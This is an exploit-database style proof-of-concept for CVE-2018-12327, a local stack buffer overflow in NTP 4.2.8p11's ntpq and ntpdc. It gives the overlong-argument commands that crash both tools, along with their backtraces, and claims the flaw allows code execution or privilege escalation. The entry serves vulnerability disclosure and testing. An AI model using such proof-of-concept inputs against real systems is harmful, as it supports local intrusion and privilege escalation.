ntp 4.2.8p11 – Local Buffer Overflow (PoC)
# Exploit Title: ntpq and ntpdc 4.2.8p11 Local Buffer Overflow # Date: 2018-06-06 # Exploit Author: Fakhri Zulkifli (@d0lph1n98) # Vendor Homepage: http://www.ntp.org/ # Software Link: http://www.ntp.org/downloads.html # Version: 4.2.8p11 and earlier # Tested on: 4.2.8p11 # CVE : CVE-2018-12327 Stack-based buffer overflow in ntpq and ntpdc of NTP version 4.2.8p11 allows a local attacker to achieve code execution or escalate to higher privileges via a long string as the argument for an IPv4 or IPv6 command-line parameter. $ ./ntpq -4 [`python -c 'print "A" * 300’`] #0 0x562fcada86ce in openhost /home/user/ntp-4.2.8p11/ntpq/ntpq.c:655:12 #1 0x562fcada5f2a in ntpqmain /home/user/ntp-4.2.8p11/ntpq/ntpq.c:606:10 #2 0x562fcada4729 in main /home/user/ntp-4.2.8p11/ntpq/ntpq.c:469:9 #3 0x7f79b684982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 #4 0x562fcac96d88 in _start (/home/user/ntp-4.2.8p11/ntpq/ntpq+0xacd88) $ ./ntpdc -4 [`python -c 'print "A" * 300'`] #0 0x55f726641efe in openhost /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:413:12 #1 0x55f7266400d4 in ntpdcmain /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:365:10 #2 0x55f72663f269 in main /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:255:9 #3 0x7f0fc632382f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 #4 0x55f7265362d8 in _start (/home/user/ntp-4.2.8p11/ntpdc/ntpdc+0x9d2d8) |